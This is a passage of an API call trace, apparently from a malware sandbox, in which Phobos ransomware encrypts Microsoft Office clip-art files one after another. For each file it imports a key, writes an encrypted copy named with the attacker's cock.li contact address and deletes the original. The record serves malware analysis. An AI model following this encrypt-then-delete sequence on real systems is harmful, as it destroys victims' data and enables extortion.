Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.049] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0168.049] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0168.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0168.050] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b50) returned 1 [0168.050] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0168.050] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xa8c, lpOverlapped=0x0) returned 1 [0168.072] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xa90, dwBufLen=0xa90 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xa90) returned 1 [0168.072] WriteFile (in: hFile=0x2d8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xa90, lpOverlapped=0x0) returned 1 [0168.073] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d18d0) returned 1 [0168.073] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0168.073] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0168.073] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0168.073] WriteFile (in: hFile=0x2d8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0168.073] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0168.073] CloseHandle (hObject=0x2e8) returned 1 [0168.074] CloseHandle (hObject=0x2d8) returned 1 [0168.074] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0168.075] SetEvent (hEvent=0x298) returned 1 [0168.076] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0168.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0168.076] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=13936) returned 1 [0168.076] CloseHandle (hObject=0x2d8) returned 1 [0168.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0168.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0168.077] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0168.077] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0168.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.077] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d17d0) returned 1 [0168.078] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0168.078] ReadFile (in: hFile=0x2d8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x3670, lpOverlapped=0x0) returned 1 [0168.088] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x3680, dwBufLen=0x3680 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x3680) returned 1 [0168.088] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x3680, lpOverlapped=0x0) returned 1 [0168.282] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1850) returned 1 [0168.282] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0168.282] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0168.282] CryptDestroyKey (hKey=0x1d1850) returned 1 [0168.282] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0168.283] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0168.283] CloseHandle (hObject=0x2d8) returned 1 [0168.283] CloseHandle (hObject=0x2e8) returned 1 [0168.283] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0168.284] SetEvent (hEvent=0x298) returned 1 [0168.285] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0168.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.285] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=12356) returned 1 [0168.285] CloseHandle (hObject=0x2e8) returned 1 [0168.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0168.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.286] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0168.286] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0168.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0168.286] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1550) returned 1 [0168.286] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0168.286] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x3044, lpOverlapped=0x0) returned 1 [0168.626] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x3050, dwBufLen=0x3050 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x3050) returned 1 [0168.626] WriteFile (in: hFile=0x2d8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x3050, lpOverlapped=0x0) returned 1 [0168.709] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1b10) returned 1 [0168.709] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0168.710] CryptEncrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0168.710] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0168.710] WriteFile (in: hFile=0x2d8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0168.710] CryptDestroyKey (hKey=0x1d1550) returned 1 [0168.710] CloseHandle (hObject=0x2e8) returned 1 [0168.710] CloseHandle (hObject=0x2d8) returned 1 [0168.717] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0168.735] SetEvent (hEvent=0x298) returned 1 [0168.735] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0168.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.742] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=6780) returned 1 [0168.742] CloseHandle (hObject=0x2e8) returned 1 [0168.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0168.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.743] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0168.743] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0168.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0168.744] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0168.744] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0168.744] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x1a7c, lpOverlapped=0x0) returned 1 [0169.312] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1a80) returned 1 [0169.312] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x1a80, lpOverlapped=0x0) returned 1 [0169.313] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1450) returned 1 [0169.313] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0169.313] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0169.313] CryptDestroyKey (hKey=0x1d1450) returned 1 [0169.313] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0169.313] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0169.313] CloseHandle (hObject=0x2e8) returned 1 [0169.313] CloseHandle (hObject=0x2c4) returned 1 [0169.313] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0169.314] SetEvent (hEvent=0x298) returned 1 [0169.314] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0169.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0169.315] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=17308) returned 1 [0169.315] CloseHandle (hObject=0x2c4) returned 1 [0169.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0169.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0169.315] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0169.315] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0169.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0169.316] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b90) returned 1 [0169.316] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0169.316] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x439c, lpOverlapped=0x0) returned 1 [0169.556] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x43a0, dwBufLen=0x43a0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x43a0) returned 1 [0169.557] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x43a0, lpOverlapped=0x0) returned 1 [0169.558] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d14d0) returned 1 [0169.558] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0169.558] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0169.558] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0169.558] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0169.558] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0169.558] CloseHandle (hObject=0x2c4) returned 1 [0169.558] CloseHandle (hObject=0x2e8) returned 1 [0169.558] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0169.560] SetEvent (hEvent=0x298) returned 1 [0169.560] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0169.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0169.561] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=7944) returned 1 [0169.561] CloseHandle (hObject=0x2e8) returned 1 [0169.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0169.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0169.562] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0169.562] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0169.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0169.563] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1810) returned 1 [0169.563] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0169.563] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x1f08, lpOverlapped=0x0) returned 1 [0169.614] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, 